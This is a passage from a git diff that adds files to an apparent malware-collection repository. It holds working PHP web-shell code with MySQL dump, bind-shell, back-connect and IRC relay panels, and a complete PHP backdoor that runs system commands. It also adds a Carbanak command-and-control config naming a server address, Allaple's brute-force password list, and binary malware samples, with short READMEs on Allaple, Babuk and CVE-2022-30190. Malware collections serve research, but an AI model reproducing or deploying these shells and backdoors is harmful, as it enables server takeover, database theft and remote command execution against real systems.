'.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));+echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));+echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));+echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9']));+echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts;+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>";+echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select);+echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));+echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));+echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));+echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");+echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div></td>".$fe."</tr></div></table>";+}+if(!$safe_mode&&$unix){+echo $table_up1.div_title($lang[$language.'_text81'],'id21').$table_up2.div('id21').$ts."<tr>".$fs."<td valign=top width=34%>".$ts;+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>";+echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',15,'11457'));+echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',15,'r57'));+echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));+echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>";+echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));+echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457'));+echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir));+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));+echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts;+echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>";+echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',15,'11457'));+echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',15,'irc.dalnet.ru'));+echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',15,'6667'));+echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir));+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));+echo $te."</td>".$fe."</tr></div></table>";+}+echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ a.S.c - LONG LIVE ETHNIC ALBANIA ( www.asc.sh ) | <a href=http://www.asc.sh/ target=_blank>WWW.XSHQIPTARETX.ORG</a> | <a href=irc://irc.ascnet.biz/asc target=_blank>IRC.ASCNET.BIZ</a> | version ".$version." ]---o</b></font></div></td></tr></table>";+echo '</body></html>';+++?>+++<html>+<script language=JavaScript>+<!--+/* status */++ function one()+ {window.status = " :::... !!! ASCRIMEZ NETWORK @ IRC.ASCNET.BIZ => [ ALBOSS PARADISE ] !!! ...::: ";+ setTimeout("two()",60);+ }+ function two()+ {window.status = " :::... !!! ASCRIMEZ NETWORK @ IRC.ASCNET.BIZ => [ ALBOSS PARADISE ] !!! ...::: ";+ setTimeout("three()",120);+ }+ function three()+ {window.status = " :::... !!! ASCRIMEZ NETWORK @ IRC.ASCNET.BIZ => [ ALBOSS PARADISE ] !!! ...::: ";+ setTimeout("one()",180);+ }+ one();+// -->+</SCRIPT>+</html>++<!-- ALBANIA (n) SECURITY CLAN -->diff --git a/Malwares/Advanced Malware/Albania/Backdoor.PHP.Albania.b b/Malwares/Advanced Malware/Albania/Backdoor.PHP.Albania.bnew file mode 100644index 0000000..92e4425--- /dev/null+++ b/Malwares/Advanced Malware/Albania/Backdoor.PHP.Albania.b@@ -0,0 +1,76 @@+<?+echo "ALBANIA<br>";+$alb = @php_uname();+$alb2 = system(uptime);+$alb3 = system(id);+$alb4 = @getcwd();+$alb5 = getenv("SERVER_SOFTWARE");+$alb6 = phpversion();+$alb7 = $_SERVER['SERVER_NAME'];+$alb8 = $_SERVER['SERVER_ADDR'];+$alb9 = get_current_user();+$os = @PHP_OS;+echo "UNITED #D-Devils By The King Sir|ToTTi<br>";+echo "os: $os<br>";+echo "uname -a: $alb<br>";+echo "uptime: $alb2<br>";+echo "id: $alb3<br>";+echo "pwd: $alb4<br>";+echo "SoftWare: $alb5<br>";+echo "user: $alb9<br>";+echo "PHPV: $alb6<br>";+echo "ServerName: $alb7<br>";+echo "ServerAddr: $alb8<br>";+$free = disk_free_space($dir);+$all = @disk_total_space($dir);+if (!$all) {$all = 0;}+if ($free === FALSE) {$free = 0;}+if ($free < 0) {$free = 0;}+echo "Free:".view_size($free)."<br>";+echo "TotalSpace".view_size($all)."</b>";+$cmd="id";+$eseguicmd=ex($cmd);+echo $eseguicmd;+function ex($cfe){+$res = '';+if (!empty($cfe)){+if(function_exists('exec')){+@exec($cfe,$res);+$res = join("\n",$res);+}+elseif(function_exists('shell_exec')){+$res = @shell_exec($cfe);+}+elseif(function_exists('system')){+@ob_start();+@system($cfe);+$res = @ob_get_contents();+@ob_end_clean();+}+elseif(function_exists('passthru')){+@ob_start();+@passthru($cfe);+$res = @ob_get_contents();+@ob_end_clean();+}+elseif(@is_resource($f = @popen($cfe,"r"))){+$res = "";+while(!@feof($f)) { $res .= @fread($f,1024); }+@pclose($f);+}}+return $res;+}+function view_size($size)+{+ if (!is_numeric($size)) {return FALSE;}+ else+ {+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}+ else {$size = $size . " B";}+ return $size;+ }+}+exit;+?>diff --git a/Malwares/Advanced Malware/Albania/README.md b/Malwares/Advanced Malware/Albania/README.mdnew file mode 100644index 0000000..6eed674--- /dev/null+++ b/Malwares/Advanced Malware/Albania/README.md@@ -0,0 +1,22 @@+## Albania Cyber Attacks+ ++## In 2015:+Apple’s official developer platform Xcode for creating OS X and iOS software, repackaged by yet unknown hackers (probably Iranian) to include malicious code. Any developer, who would download this installer and use it to compile an iOS app, would automatically include this code into their app, which is then submitted to the App Store and distributed to all users automatically as a usual update. According to Palo Alto Networks, which published a series of reports on XcodeGhost, this malware is able to collect information from mobile devices and send them to a command and control server. It would also try to phish for user’s credentials or steal their passwords from the clipboard.++Still, the most remarkable is that quite a few legitimate and popular iOS apps from well-known developers (mostly based in China) became infected and were successfully published in the App Store. Although it baffles me why a seasoned developer would download Xcode from a file-sharing site instead of getting it for free directly from Apple, the list of victims includes Tencent, creators of the hugely popular app WeChat that has over 600 million users. In total, around 40 apps in the App Store have been found to contain the malicious code. Update: another report by FireEye identifies over 4000 affected apps.++Unfortunately, there is practically nothing that iOS users can do at the moment to prevent this kind of attack. Surely, they should uninstall any of the apps that are known to contain this malicious code, but how many have not yet been discovered? We can also safely assume that other hackers will follow with their own implementations of this new concept or concentrate on attacking other components of the development chain.++## In July 2022:+ ++Cybersecurity and Infrastructure Security Agency (CISA) and FBI said on Wednesday that hackers connected to Iran’s military spent 14 months inside the networks of the Albanian government before launching a ransomware attack that caused widespread damage in July.++++The FBI did not specify which Iranian hacking group was behind the incident but explained that in their investigation, they found the hackers exploited an Internet-facing Microsoft SharePoint through CVE-2019-0604.++Cybersecurity agencies classified CVE-2019-0604 as one of the most exploited bugs throughout 2020 and has been abused by both nation-states and ransomware gangs.++According to the alert, the hackers were able to maintain continuous access to the network for more than a year, frequently stealing emails throughout 2021. By May 2022, the actors began moving laterally and examining the network, performing wider credential theft across Albanian government networks.diff --git a/Malwares/Advanced Malware/Albania/albanianvirus.png b/Malwares/Advanced Malware/Albania/albanianvirus.pngnew file mode 100644index 0000000..af23f57Binary files /dev/null and b/Malwares/Advanced Malware/Albania/albanianvirus.png differdiff --git a/Malwares/Advanced Malware/Albania/albaniaransomware.jpg b/Malwares/Advanced Malware/Albania/albaniaransomware.jpgnew file mode 100644index 0000000..bc6d867Binary files /dev/null and b/Malwares/Advanced Malware/Albania/albaniaransomware.jpg differdiff --git a/Malwares/Advanced Malware/Allaple/29c7e87350cb03428fc108b03856095b.7z b/Malwares/Advanced Malware/Allaple/29c7e87350cb03428fc108b03856095b.7znew file mode 100644index 0000000..9fe6c26Binary files /dev/null and b/Malwares/Advanced Malware/Allaple/29c7e87350cb03428fc108b03856095b.7z differdiff --git a/Malwares/Advanced Malware/Allaple/49cccd30a564410d1f9bbce89fa15890.zip b/Malwares/Advanced Malware/Allaple/49cccd30a564410d1f9bbce89fa15890.zipnew file mode 100644index 0000000..be818a1Binary files /dev/null and b/Malwares/Advanced Malware/Allaple/49cccd30a564410d1f9bbce89fa15890.zip differdiff --git a/Malwares/Advanced Malware/Allaple/Allaple.png b/Malwares/Advanced Malware/Allaple/Allaple.pngnew file mode 100644index 0000000..d17d960Binary files /dev/null and b/Malwares/Advanced Malware/Allaple/Allaple.png differdiff --git a/Malwares/Advanced Malware/Allaple/README.md b/Malwares/Advanced Malware/Allaple/README.mdnew file mode 100644index 0000000..8e4044d--- /dev/null+++ b/Malwares/Advanced Malware/Allaple/README.md@@ -0,0 +1,131 @@+# ☠️☠️ ALLAPLE ☠️☠️+++++After the worm's file is run it goes through the polymorphic decryptor and then proceeds to the static part of the code that allocates a memory buffer and extracts the main worm's code into it. Then the control is passed directly to the extracted worm's code.++After getting control, the worm creates a few threads. One thread scans for vulnerable computers (on TCP ports 139 and 445) and sends exploits there in order to infect them.++The other thread scans for .HTM and .HTML files on all local hard disks and infects them by prepending a reference to worm's CLSID there.++++## Infection++The worm copies itself multiple times to a hard drive and also affects HTML files.++The worm's file is polymorphically encrypted, which means every copy of the worm is different. The only constant aspect of the worm's code is the size of its executable file - 57856 bytes.++The worm creates a different CLSID for every copy of itself that it creates on the hard drive. The number of these copies can be quite large. The names of the worm's files are random. For example:++ bzehxvnz.exe+ hwexrtne.exe+ jbnshhqj.exe+ jjlenkbt.exe+ tsbjbtvn.exe+++## ==> TYPE:+ Net-Worm:W32/Allaple.A++## ==> Modus Operandi:+ After getting control, the worm creates a few threads. One thread scans for vulnerable computers (on TCP ports 139 and 445) and sends exploits there in order to infect them. The other thread scans for .HTM and .HTML files on all local hard disks and infects them by prepending a reference to worm's CLSID there. One of the remaining threads performs a DoS attack on three websites located in Estonia. The worm also tries to brute-force network share passwords by performing a dictionary attack on them. he following TCP ports used during the DoS attack: 22, 80, 97, 443++The following is the dictionary used to bruteforce networks:++ 00+ 000+ 0000+ 00000+ 000000+ 0000000+ 00000000+ 1+ 12+ 123+ 1234+ 12345+ 123456+ 1234567+ 12345678+ 123456789+ abc123+ access+ adm+ Admin+ alpha+ anon+ anonymous+ asdfgh+ backdoor+ backup+ beta+ bin+ coffee+ computer+ crew+ database+ debug+ default+ demo+ go+ guest+ hello+ install+ internet+ login+ manager+ money+ monitor+ network+ new+ newpass+ nick+ nobody+ nopass+ oracle+ pass+ passwd+ password+ poiuytre+ private+ public+ qwerty+ random+ real+ remote+ root+ ruler+ secret+ secure+ security+ server+ setup+ shadow+ shit+ sql+ super+ sys+ system+ telnet+ temp+ test+ test1+ test2+ visitor+ windows+ www+ X++## ==> PLATFORM:+ WIN32++## ==> Key Points and Mitigation:.+```+☣️Aliz worm is relatively easy to disinfect.☣️+💉Based on the settings of your AV (tested against windows defender), it will either move the file to the quarantine where it cannot spread or cause harm, or remove it.🩺+💊Companies can take steps to prevent infection, with software and AV updates being most important.+```+diff --git a/Malwares/Advanced Malware/Allaple/Screenshot (202).png b/Malwares/Advanced Malware/Allaple/Screenshot (202).pngnew file mode 100644index 0000000..d17d960Binary files /dev/null and b/Malwares/Advanced Malware/Allaple/Screenshot (202).png differdiff --git a/Malwares/Advanced Malware/Allaple/allaple.png b/Malwares/Advanced Malware/Allaple/allaple.pngnew file mode 100644index 0000000..4fd75ddBinary files /dev/null and b/Malwares/Advanced Malware/Allaple/allaple.png differdiff --git a/Malwares/Advanced Malware/Allaple/b17911ddeab973db51362721c940d882.7z b/Malwares/Advanced Malware/Allaple/b17911ddeab973db51362721c940d882.7znew file mode 100644index 0000000..28644a1Binary files /dev/null and b/Malwares/Advanced Malware/Allaple/b17911ddeab973db51362721c940d882.7z differdiff --git a/Malwares/Advanced Malware/Babuk Loader/82e560a078cd7bb4472d5af832a04c4bc8f1001bac97b1574efe9863d3f66550 b/Malwares/Advanced Malware/Babuk Loader/82e560a078cd7bb4472d5af832a04c4bc8f1001bac97b1574efe9863d3f66550new file mode 100644index 0000000..214a234Binary files /dev/null and b/Malwares/Advanced Malware/Babuk Loader/82e560a078cd7bb4472d5af832a04c4bc8f1001bac97b1574efe9863d3f66550 differdiff --git a/Malwares/Advanced Malware/Babuk Loader/README.md b/Malwares/Advanced Malware/Babuk Loader/README.mdnew file mode 100644index 0000000..73af7a1--- /dev/null+++ b/Malwares/Advanced Malware/Babuk Loader/README.md@@ -0,0 +1,26 @@+## Babuk+++Babuk, also known internally as Babyk, initially “Vasa Locker,” is a pretty new ransomware threat discovered at the beginning of 2021. The gang, defining itself as a non-malicious group created to reveal the security issues inside the corporate networks, is responsible for attacks on at least five big enterprises.++++According to security researchers, Babuk Locker’s coding is amateurish but includes secure encryption that prevents victims from recovering their files for free.++In April 2021, the group threatened Washington D.C.’s Metropolitan Police Department (M.P.D.) to release sensitive information pulled from the department’s systems and demanded a $4 million ransom. Babuk’s cybercriminals declared they had downloaded 250 GigaBytes of data and threatened to release information about police informants to criminal gangs and to continue attacking the state sectors, including the F.B.I. and the Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency.++The ransomware gang does not have a stable internal structure. The group claimed to get retired after attacking the Metropolitan Police Department and feeling the heat from U.S. law enforcement. However, one month later, some group members splintered off to relaunch the ransomware as Babuk V2 and declared that they would quit ransomware-as-a-service (RaaS) crypto locking and focus on data-theft extortion.++In July 2021, RAMP, the forum started by Babuk, has seen a surge of flooding and spamming with pornographic GIFs. An unknown individual stated they had 24 hours to pay $5,000, and this situation was called “ransomware group drama” at cybersecurity news.++Finally, one of the developers for the Babuk ransomware group, a 17-year-old person from Russia, leaked the entire Babuk source code for Windows, ESXI, and NAS in September. It is wondered what is going to be the next step of the gang.++## Target for Babuk?+++The group generally targets the transportation, healthcare, plastic surgery, electronics, and agricultural sectors across multiple geographies, especially in Germany, Hong Kong, Sweden, and the United States. Anecdotal data also suggests that malware samples have appeared in other Asian, European, and North American countries, even though this may be a consequence of increased security researcher activity rather than active compromises.+++++On the other hand, they are pretty clear about categories of organizations they do not attack. The gang claims that it does not audit the hospitals except private plastic surgery or dental clinics, any non-profitable charitable foundation, schools except significant universities, and small businesses with annual revenue of less than $4 million.diff --git a/Malwares/Advanced Malware/Babuk Loader/Screenshot (361).png b/Malwares/Advanced Malware/Babuk Loader/Screenshot (361).pngnew file mode 100644index 0000000..a117637Binary files /dev/null and b/Malwares/Advanced Malware/Babuk Loader/Screenshot (361).png differdiff --git a/Malwares/Advanced Malware/Babuk Loader/Screenshot (362).png b/Malwares/Advanced Malware/Babuk Loader/Screenshot (362).pngnew file mode 100644index 0000000..c74a87aBinary files /dev/null and b/Malwares/Advanced Malware/Babuk Loader/Screenshot (362).png differdiff --git a/Malwares/Advanced Malware/Babuk Loader/Screenshot (363).png b/Malwares/Advanced Malware/Babuk Loader/Screenshot (363).pngnew file mode 100644index 0000000..7c0e91dBinary files /dev/null and b/Malwares/Advanced Malware/Babuk Loader/Screenshot (363).png differdiff --git a/Malwares/Advanced Malware/Babuk Loader/babuk1.png b/Malwares/Advanced Malware/Babuk Loader/babuk1.pngnew file mode 100644index 0000000..a117637Binary files /dev/null and b/Malwares/Advanced Malware/Babuk Loader/babuk1.png differdiff --git a/Malwares/Advanced Malware/Babuk Loader/babuk2.png b/Malwares/Advanced Malware/Babuk Loader/babuk2.pngnew file mode 100644index 0000000..c74a87aBinary files /dev/null and b/Malwares/Advanced Malware/Babuk Loader/babuk2.png differdiff --git a/Malwares/Advanced Malware/Babuk Loader/babuk3.png b/Malwares/Advanced Malware/Babuk Loader/babuk3.pngnew file mode 100644index 0000000..7c0e91dBinary files /dev/null and b/Malwares/Advanced Malware/Babuk Loader/babuk3.png differdiff --git a/Malwares/Advanced Malware/CVE-2022-30190 MSDT/README.md b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/README.mdnew file mode 100644index 0000000..0877040--- /dev/null+++ b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/README.md@@ -0,0 +1,24 @@+## MSDT-PoC+   ++#### Sampledoc.zip:+- CVE-2022-30190 => Microsoft Windows Support Diagnostic Tool (MSDT) Remote Code Execution Vulnerability+- I found being exploited in the wild (KENYA and South Africa) on 7/06/2022, 14/06/2022 and again on 23/6/2022.++#### WINWORD.exe is the payload triggered when you open the sample doc.+++.jpg)++.png)++.png)++.png)++.png)++.png)++Full Report visit https://app.any.run/tasks/8529255d-0367-41c3-9d39-93c581f219b3+diff --git a/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (177).png b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (177).pngnew file mode 100644index 0000000..b8303aaBinary files /dev/null and b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (177).png differdiff --git a/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (178).png b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (178).pngnew file mode 100644index 0000000..bec6015Binary files /dev/null and b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (178).png differdiff --git a/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (180).png b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (180).pngnew file mode 100644index 0000000..073843dBinary files /dev/null and b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (180).png differdiff --git a/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (181).png b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (181).pngnew file mode 100644index 0000000..74e46aaBinary files /dev/null and b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (181).png differdiff --git a/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (182).png b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (182).pngnew file mode 100644index 0000000..0ff2962Binary files /dev/null and b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (182).png differdiff --git a/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (184).jpg b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (184).jpgnew file mode 100644index 0000000..3da48c8Binary files /dev/null and b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (184).jpg differdiff --git a/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (192).png b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (192).pngnew file mode 100644index 0000000..89182b6Binary files /dev/null and b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (192).png differdiff --git a/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (193).png b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (193).pngnew file mode 100644index 0000000..f2e9b19Binary files /dev/null and b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/Screenshot (193).png differdiff --git a/Malwares/Advanced Malware/CVE-2022-30190 MSDT/sample.doc.zip b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/sample.doc.zipnew file mode 100644index 0000000..4908a3aBinary files /dev/null and b/Malwares/Advanced Malware/CVE-2022-30190 MSDT/sample.doc.zip differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Carbanak-and-FIN7.jpg b/Malwares/Advanced Malware/Carbanak - part 2/Carbanak-and-FIN7.jpgnew file mode 100644index 0000000..d3b5d23Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Carbanak-and-FIN7.jpg differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/CmdManager.exe b/Malwares/Advanced Malware/Carbanak - part 2/Malware/CmdManager.exenew file mode 100644index 0000000..a96998fBinary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/CmdManager.exe differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/CmdManager.xml b/Malwares/Advanced Malware/Carbanak - part 2/Malware/CmdManager.xmlnew file mode 100644index 0000000..77919ec--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/CmdManager.xml@@ -0,0 +1,4 @@+<?xml version="1.0" encoding="windows-1251"?>+<cfg>+ <Server>193.203.48.23:800</Server>+</cfg>\ No newline at end of filediff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/Player.dll b/Malwares/Advanced Malware/Carbanak - part 2/Malware/Player.dllnew file mode 100644index 0000000..67efbf4Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/Player.dll differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/PlayerExe.exe b/Malwares/Advanced Malware/Carbanak - part 2/Malware/PlayerExe.exenew file mode 100644index 0000000..0ec4e84Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/PlayerExe.exe differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/Server.exe b/Malwares/Advanced Malware/Carbanak - part 2/Malware/Server.exenew file mode 100644index 0000000..bc89f85Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/Server.exe differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/VncSharp.dll b/Malwares/Advanced Malware/Carbanak - part 2/Malware/VncSharp.dllnew file mode 100644index 0000000..14ff070Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/VncSharp.dll differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/hvnc.plug b/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/hvnc.plugnew file mode 100644index 0000000..fc87800Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/hvnc.plug differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/hvnc64.plug b/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/hvnc64.plugnew file mode 100644index 0000000..2775b57Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/hvnc64.plug differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/rdpwrap.dll b/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/rdpwrap.dllnew file mode 100644index 0000000..55d2a5fBinary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/rdpwrap.dll differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/vnc.plug b/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/vnc.plugnew file mode 100644index 0000000..8efd311Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/vnc.plug differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/vnc64.plug b/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/vnc64.plugnew file mode 100644index 0000000..edb6340Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/_plugins/vnc64.plug differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot.dll b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot.dllnew file mode 100644index 0000000..f8fccf2Binary files /dev/null and b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot.dll differdiff --git a/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/bot.vcxproj b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/bot.vcxprojnew file mode 100644index 0000000..277196b--- /dev/null+++ b/Malwares/Advanced Malware/Carbanak - part 2/Malware/bot/bot.vcxproj@@ -0,0 +1,566 @@+<?xml version="1.0" encoding="utf-8"?>+<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">+ <ItemGroup Label="ProjectConfigurations">+ <ProjectConfiguration Include="Debug|Win32">+ <Configuration>Debug</Configuration>+ <Platform>Win32</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Debug|x64">+ <Configuration>Debug</Configuration>+ <Platform>x64</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release debug string|Win32">+ <Configuration>Release debug string</Configuration>+ <Platform>Win32</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release debug string|x64">+ <Configuration>Release debug string</Configuration>+ <Platform>x64</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release DLL debug|Win32">+ <Configuration>Release DLL debug</Configuration>+ <Platform>Win32</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release DLL debug|x64">+ <Configuration>Release DLL debug</Configuration>+ <Platform>x64</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release DLL|Win32">+ <Configuration>Release DLL</Configuration>+ <Platform>Win32</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release DLL|x64">+ <Configuration>Release DLL</Configuration>+ <Platform>x64</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release|Win32">+ <Configuration>Release</Configuration>+ <Platform>Win32</Platform>+ </ProjectConfiguration>+ <ProjectConfiguration Include="Release|x64">+ <Configuration>Release</Configuration>+ <Platform>x64</Platform>+ </ProjectConfiguration>+ </ItemGroup>+ <PropertyGroup Label="Globals">+ <ProjectGuid>{901E099B-A01A-4F21-9A6F-8D3B60F04168}</ProjectGuid>+ <Keyword>Win32Proj</Keyword>+ <RootNamespace>bot</RootNamespace>+ </PropertyGroup>+ <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>true</UseDebugLibraries>+ <PlatformToolset>v110</PlatformToolset>+ <CharacterSet>Unicode</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>true</UseDebugLibraries>+ <PlatformToolset>v110</PlatformToolset>+ <CharacterSet>Unicode</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">+ <ConfigurationType>Application</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|Win32'" Label="Configuration">+ <ConfigurationType>DynamicLibrary</ConfigurationType>+ <UseDebugLibraries>false</UseDebugLibraries>+ <PlatformToolset>v110_xp</PlatformToolset>+ <WholeProgramOptimization>true</WholeProgramOptimization>+ <CharacterSet>NotSet</CharacterSet>+ </PropertyGroup>+ <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release DLL|x64'" Label="Configuration">+ 